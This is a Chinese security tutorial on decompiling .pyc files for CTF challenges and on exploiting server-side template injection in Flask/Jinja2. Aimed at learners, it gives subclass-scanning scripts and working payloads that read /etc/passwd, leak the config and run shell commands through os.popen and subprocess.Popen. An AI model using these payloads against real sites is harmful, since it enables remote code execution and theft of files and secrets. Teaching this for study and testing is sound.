WEB攻防-Python-PYC 反编译CTF 与 CMS-SSTI 模版注入

news2025/1/17 21:55:25

反编译pyc字节码文件

pyc文件是py文件编译后生成的字节码文件(byte code),pyc文件经过python解释器最终会生成机器码运行。因此pyc文件是可以跨平台部署的,类似Java的.class文件,一般py文件改变后,都会重新生成pyc文件。
真题附件:http://pan.baidu.com/s/1jGpB8DS
反编译平台:
https://tool.lu/pyc/ 
http://tools.bugscaner.com/decompyle/
反编译工具:https://github.com/wibiti/uncompyle2
一般在CTF上,真实上很难遇到。类似.class文件等,PHP可以直接打包,但是.net和.class,.pyc需要解密才能得到源代码。


在学习SSTI漏洞利用之前,先了解flask框架与魔术方法的使用

Flask框架基础

 装饰器@route路由

使用route()装饰器告诉Flask 什么样的URL能触发函数。一个路由绑定一个函数。

from flask import flask 
app = Flask(__name__)
@app.route('/')
def test()
   return 123

@app.route('/index/')
def hello_word():
    return 'hello word'

if __name__ == '__main__':
    app.run(port=5000)


#结果:
#访问 http://127.0.0.1:5000/会返回123,但是 访问http://127.0.0.1:5000/index则会返回hello word

@app.route('/')的时候,在之前需要定义app = Flask(__name__)不然会报错,因为这个装饰器依赖于 Flask 应用实例,Flask(__name__)用于创建一个新的 Flask web 应用实例

是一个带有动态部分的 URL 路由。在这个例子中,<username> 是一个变量部分,它允许 URL 匹配任何包含该位置参数的字符串。

from flask import Flask  
  
app = Flask(__name__)  
  
@app.route("/<username>")  
def hello_user(username):  
    return "user:%s" % username  
  
if __name__ == "__main__":  
    app.run(debug=True)

渲染模版方法与Jinja2 模板引擎

render_template() 是用来渲染一个指定的文件的。

render_template_string则是用来渲染一个字符串的。

通过这两个函数将需要渲染的值传入到模板中

假设我们现在有一个index.html的模板

<html>
  <head>
    <title>{{title}}</title>
  </head>
 <body>
      <h1>Hello, {{name}}!</h1>
  </body>
</html>

使用render_template() / render_template_string()渲染时,只需传入title和name两个参数即可

from flask import Flask, request,render_template,render_template_string
app = Flask(__name__)
@app.route('/')   
def index():
   return render_template("index.html",title='Home',name='user')
if __name__ == '__main__':
    app.run(port=5000)

注意上面代码我们手动传值的写死了的,所以他是安全的,但是如果,我们把传值的机会给用户,下面代码通过request.args.get('id')接收用户输入的id值传入到模版中渲染,并且直接使用 Python 的字符串格式化来处理id

from flask import Flask, request,render_template,render_template_string
@app.route('/test')
def test():
    id = request.args.get('id')
    html = '''
    <h1>%s</h1>
    '''%(id)
    return render_template_string(html)
if __name__ == '__main__':
    app.run(port=5000)

 而这时假设用户通过id传入一个恶意代码,就可能造成代码执行等问题,如id=<script>alert(111);</script>会把传入的js脚本执行

将上面代码稍微改动,使用Jinja2 模板引擎默认会对变量进行 HTML 转义,以防止跨站脚本攻击(XSS)。这意味着如果变量中包含 HTML 标签或特殊字符,它们将被转换为相应的 HTML 实体,从而不会在浏览器中作为 HTML 代码执行。

语法:

{{ some_variable|safe }}

some_variable 的内容将不会被转义,而是直接输出为 HTML。但务必谨慎使用 |safe 过滤器,因为它会使你的应用程序更容易受到 XSS 攻击。只有在你完全信任该变量的内容时,才应该使用它。

{{ some_variable|escape }}

escape 过滤器用于显式地对变量进行转义,默认选项

例如,如果你有一个包含 <> 字符的变量,Jinja2 会将这些字符转换为 &lt;&gt; 实体。

@app.route('/test/')
def test():
    code = request.args.get('id')
    return render_template_string('<h1>{{ code }}</h1>',code=code)

继承关系与魔法方法

__class__  #查看当前类型的所属对象

__base__  #沿着父子类关系往上走一个

__bases__  #查看该类的所有直接父类

__mro__  #查找当前类对象的所有继承类

__subclasses__()  #查找父类下的所以子类

__init__  #查看类是否已经加载这模块到内存中,如果出现wrapper字眼,说明没有

__globals__  #返回当前对象的全部全局变量,有哪些可用的方法函数等

示例:

class A:
    pass


class B(A):
    pass


class C(A):
    pass


class D(B, C):
    pass

通过继承关系去执行到其他类可利用模块、函数等

我们都知道,object是所有类的基类,那么假设我们可以获取object的所有子类,就可以利用其子类的方法

可以看到__subclasses__()返回一个列表,我们可以通过下标来找到是否存在一些可利用的模块和函数

简单了解什么是SSTI

SSTI,即服务器端模板注入(Server-Side Template Injection),是一种注入攻击,漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,没有严格控制对用户的输入,使用了危险的模板,导致执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。

而flask是基于python开发的一种web服务器,那么也就意味着如果用户可以和flask进行交互的话,就可以执行python的代码,比如eval,system,file,os等

检查是否存在SSTI漏洞

-输入的数据会被浏览器利用当前脚本语言调用解析执行

判断SSTI类型

有响应,正常执行

无响应,无法执行

SSTI常用注入模块利用

文件读取

查找子类的可利用模块名

_frozen_importlib_external.FileLoader

<class '_frozen_importlib_external.FileLoader'>

 利用python脚本循环匹配子类,代码原理遍历查找__subclasses__()函数找出的所有子类,匹配到就返回i,i就是下标

import requests


url = input('输入URL:')

for i in range(500):
    data = {"注入变量名": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
    try:
        response = requests.post(url, data=data)

        if response.status_code == 200:
            if '_frozen_importlib_external.FileLoader' in response.text:
                print(i)

    except:
        pass

FileLoader的利用

["get_data"](0,"/etc/passwd")

调用get_data方法,传入参数0和文件路径

假设python脚本获取到下标为79,继续往下构造playload

{{().__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

前半段找出_frozen_importlib_external.FileLoader模块,后半段利用该模块下的函数读文件

在CTF中有一些会把FLAG放在配置文件里,通过读取配置文件获取FLAG

{{config}}

{{url_for.__globals__['current_app'].config.FLAG}}

{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

内建函数eval执行命令

eval会把传进的值当做python代码执行,__builtins__包含了 Python 解释器启动时自动导入的所有内置函数和异常

通过__builtins__查找内建函数,比如abs(), len(), open(), range() 等都是 __builtins__ 模块的一部分,同样是通过脚本遍历找到存在 __builtins__ 模块并存在eval函数

import requests


url = input('输入URL:')

for i in range(500):
    data = {"注入变量名": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']}}"}
    try:
        response = requests.post(url, data=data)

        if response.status_code == 200:
            if 'eval' in response.text:
                print(i)

    except:
        pass

假设python脚本获取到下标为79,继续往下构造playload,导入os模块执行文件读取

 {{().__class__.__base__.__subclasses__()[79].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /ect/passwd").read()')}}

popen()执行一个shell以运行命令来开启一个进程,执行cat /etc/passwd(system模块没有回显)

OS模块执行命令

在其他函数模块中直接调用OS模块

通过config,调用OS

{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

通过url_for,调用OS

{{url_for.__globals__.os.popen('whoami').read()}}

在已经加载OS模块的子类里直接调用OS模块

{{''.__class__.__bases__[0].__subclasses__[199].__init__.__globals__['os'].popen("whoami").read()}}

通过{{self.__dict__.TemplateReference__context.keys()}}查找Flask内置函数和内置对象,根据内置函数和内置对象直接使用.__globals__查看是否存在os,如{{lipsum.__globals}}

通过python脚本查找子类下是否存在os.py

import requests


url = input('输入URL:')

for i in range(500):
    data = {"注入变量名": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
    try:
        response = requests.post(url, data=data)

        if response.status_code == 200:
            if 'os.py' in response.text:
                print(i)

    except:
        pass

importlib类执行命令

可以加载第三方库,使用load_module加载os(用的不多)

python脚步查找_frozen_importlib.Builtinlmporter

import requests


url = input('输入URL:')

for i in range(500):
    data = {"注入变量名": "{{().__class__.__bases__[0].__subclasses__()[" + str(i) + "]}}"}
    try:
        response = requests.post(url, data=data)

        if response.status_code == 200:
            if '_frozen_importlib.Builtinlmporter' in response.text:
                print(i)

    except:
        pass

找到模块下标后,假设是69,继续构建playload

{{().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("whoami").read()}}

linecache函数执行命令

linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os模块,所以可以利用这个linecache函数去执行命令

{{[].__class__.__base__.__subclasses__()[69].__init__.__globals__["linecache"]["os"].popen("whoami").read()}}

python脚步类似

subprocess.Popen类执行命令

从python2.4版本开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值

subprocess意在替代其他几个老的模块或者函数,比如os.system、os.popen等函数

python脚本查找subprocess.Popen

import requests


url = input('输入URL:')

for i in range(500):
    data = {"注入变量名": "{{().__class__.__bases__[0].__subclasses__()[" + str(i) + "]}}"}
    try:
        response = requests.post(url, data=data)

        if response.status_code == 200:
            if 'subprocess.Popen' in response.text:
                print(i)

    except:
        pass

获取到下标后,playload的构造和上面的有点不一样

{{().__class__.__bases__[0].__subclasses__()[155]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1790654.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

6月5日 C++day3

#include <iostream>using namespace std;class Per { private:string name;int age;int *high;double *weight; public:Per(){cout << "Per的无参构造" << endl;}Per(string name,int age,int high,double weight):\name(name),age(age),high(new…

React项目目录结构与组件基础结构

在React中开发项目并扩展组件时&#xff0c;一个清晰合理的目录结构是至关重要的。它不仅可以帮助你更好地组织代码&#xff0c;还能提高项目的可维护性和扩展性。下面是一个基本的React项目目录结构大纲&#xff0c;你可以根据自己的项目需求进行调整&#xff1a; my-app/ ├…

MySQL的联合索引及案例分析

1. 联合索引 关于联合索引的详解参考博客【Mysql-----联合索引和最左匹配】&#xff0c;包含讲解 最左匹配 联合索引失效的情况 不遵循最左匹配原则范围查询右边失效原理like索引失效原理 比较关注的点在于&#xff1a; 对A、B、C三个字段创建一个联合索引&#xff08;A, …

go语言linux安装

下载&#xff1a;https://go.dev/dl/ 命令行使用 wget https://dl.google.com/go/go1.19.3.linux-amd64.tar.gz解压下载的压缩包&#xff0c;linux建议放在/opt目录下 我放在/home/ihan/go_sdk下 sudo tar -C /home/ihan/go_sdk -xzf go1.19.3.linux-amd64.tar.gz 这里的参数…

21.Redis之分布式锁

1.什么是分布式锁 在⼀个分布式的系统中, 也会涉及到多个节点访问同⼀个公共资源的情况. 此时就需要通过 锁 来做互斥控制, 避免出现类似于 "线程安全" 的问题. ⽽ java 的 synchronized 或者 C 的 std::mutex, 这样的锁都是只能在当前进程中⽣效, 在分布式的这种多…

Nginx配置详细解释:(3)http模块及server模块,location模块

目录 环境概述&#xff1a; http模块中的全局模块 1. root配置主要是对主web页面的路径访问。 2.server虚拟主机 2.1基于IP&#xff1a; 2.2基于域名&#xff1a; 3.alias别名 4.location匹配 5.access模块&#xff1a; 6.验证模块 7.自定义错误页面 8.日志存放位置…

信不信,马上教会你Purple Pi OH开发板之ADB常用命令

开源鸿蒙硬件方案领跑者 触觉智能 本文适用于在Purple Pi OH开发板进行分区镜像烧录。触觉智能的Purple Pi OH鸿蒙开源主板&#xff0c;是华为Laval官方社区主荐的一款鸿蒙开发主板。 该主板主要针对学生党&#xff0c;极客&#xff0c;工程师&#xff0c;极大降低了开源鸿蒙开…

专属编程笔记

Utils目录作用 在软件开发中&#xff0c;Utils&#xff08;或 Utilities&#xff09;目录通常用于存放一些通用的、不特定于任何模块的工具类或辅助函数。这些工具类或函数为整个应用程序或多个模块提供便利的功能支持&#xff0c;使得代码更加模块化、易于维护和重用。Utils目…

深度学习 --- stanford cs231 编程作业(assignment1,Q2: SVM分类器)

stanford cs231 编程作业之SVM分类器 写在最前面&#xff1a; 深度学习&#xff0c;或者是广义上的任何学习&#xff0c;都是“行千里路”胜过“读万卷书”的学识。这两天光是学了斯坦福cs231n的一些基础理论&#xff0c;越往后学越觉得没什么。但听的云里雾里的地方也越来越多…

pycharm专业版安装保姆级教程

一、官网下载 PyCharm下载地址&#xff1a;http://www.jetbrains.com/pycharm/download/#sectionwindows 选择专业版点击下载 二、进入安装向导 下载完成后&#xff0c;点击.exe文件 点击是 点击下一步 可修改安装目录为自己想安装的位置 或者不修改也可 点击下一步 选择所…

[数据概念]数据要素和智能算力市场关系解析

昨天的AI圈里最炸裂的莫过于OpenAI GPT4o的发布了。 根据官网的介绍&#xff0c;GPT-4o是面向未来人机交互范式的全新大模型&#xff0c;具有文本、语音、图像三种模态的理解力。 而且加量不加价 国内报道也是铺天盖地的“炸裂”。 反倒是外媒&#xff0c;报道倒是没有那么夸张…

亮数据——全球网络数据一站式平台

在我们日常的项目开发和研究中&#xff0c;数据获取总是一个让人既爱又恨的话题。找到一个既高效又安全的工具&#xff0c;简直就像是在茫茫沙漠中找到绿洲。近期&#xff0c;我测评了&#xff0c;数十家数据获取工具&#xff0c;最后锁定了&#xff0c;亮数据&#xff0c;本篇…

网络安全等级保护相关标准及发展

目录 等保标准 等保定级 发展 等保标准 2016年11月发布的《网络安全法》第二十一条提出“国家实行网络安全等级保护制度”。 等级保护标准体系&#xff1a; &#xff08;1&#xff09;安全等级类标准 主要包括GB/T 22240-2008《信息安全技术 信息系统安全保护等级保护定…

从Series到DataFrame:Python数据操作的转换技巧

在数据分析和处理的过程中&#xff0c;我们经常需要在Pandas库中对Series和DataFrame进行操作。本文将介绍如何将Series转换为DataFrame&#xff0c;以及如何提取DataFrame中的某一列。首先&#xff0c;我们将通过使用to_frame()函数将Series转换为DataFrame。然后&#xff0c;…

Linux系统编程(七)网络编程TCP、UDP

本文目录 一、基础知识点1. IP地址2. 端口3. 域名4. 网络协议类型5. IP协议类型6. 字节序7. socket套接字 二、TCP 常用API1. socket套接字描述符2. bind套接字绑定3. listen设置最大排队数4. accept接收客户端请求5. connect连接服务端6. read读取数据7. write发送数据 三、UD…

网页音频提取在线工具有哪些 网页音频提取在线工具下载

别再到处去借会员账号啦。教你一招&#xff0c;无视版权和地区限制&#xff0c;直接下载网页中的音频文件。没有复杂的操作步骤&#xff0c;也不用学习任何代码。只要是网页中播放的音频文件&#xff0c;都可以把它下载到本地保存。 一、网页音频提取在线工具有哪些 市面上的…

碳化硅MOSFET短路保护方法

碳化硅MOSFET短路保护方法 1.概述2.IGBT和碳化硅MOSFET器件特性3.短路保护方法比较4.总结 1.概述 碳化硅 (SiC) MOSFET 已成为硅 (Si) IGBT 的潜在替代产品&#xff0c;适用于光伏逆变器、车载和非车载电池充电器、牵引逆变器等各种应用。与 Si IGBT 相比&#xff0c;SiC MOSFE…

东芝机械人电池低报警解除与机器人多旋转数据清零

今天启动一台设备&#xff0c;触摸屏一直显示机器人报警&#xff08;翻译过后为电池电量低&#xff09;&#xff0c;更换电池后关机重启后也不能消除&#xff0c;所以打开示教器&#xff0c;下面就来说说怎么解决此项问题&#xff08;可以参考官方发的手册&#xff0c;已手册为…

家政预约小程序13我的订单

目录 1 我的订单页面布局2 全部订单页面3 完善订单状态4 查询订单信息总结 现在我们已经完成了家政预约小程序主体功能的开发&#xff0c;包含服务的查看&#xff0c;在线预约已经登录等功能。预约之后就需要家政公司的客服进行派单&#xff0c;由服务人员进行上门服务。在小程…

ARM微控制器系列

Cortex-M core发展时间线 Cortex-M core发展定位 Cortex-M核心通常作为专用的微控制器芯片使用&#xff0c;但也“隐藏”在SoC芯片中&#xff0c;用作电源管理控制器、I/O控制器、系统控制器、触摸屏控制器、智能电池控制器和传感器控制器。 与Cortex-A核心的主要区别在于&…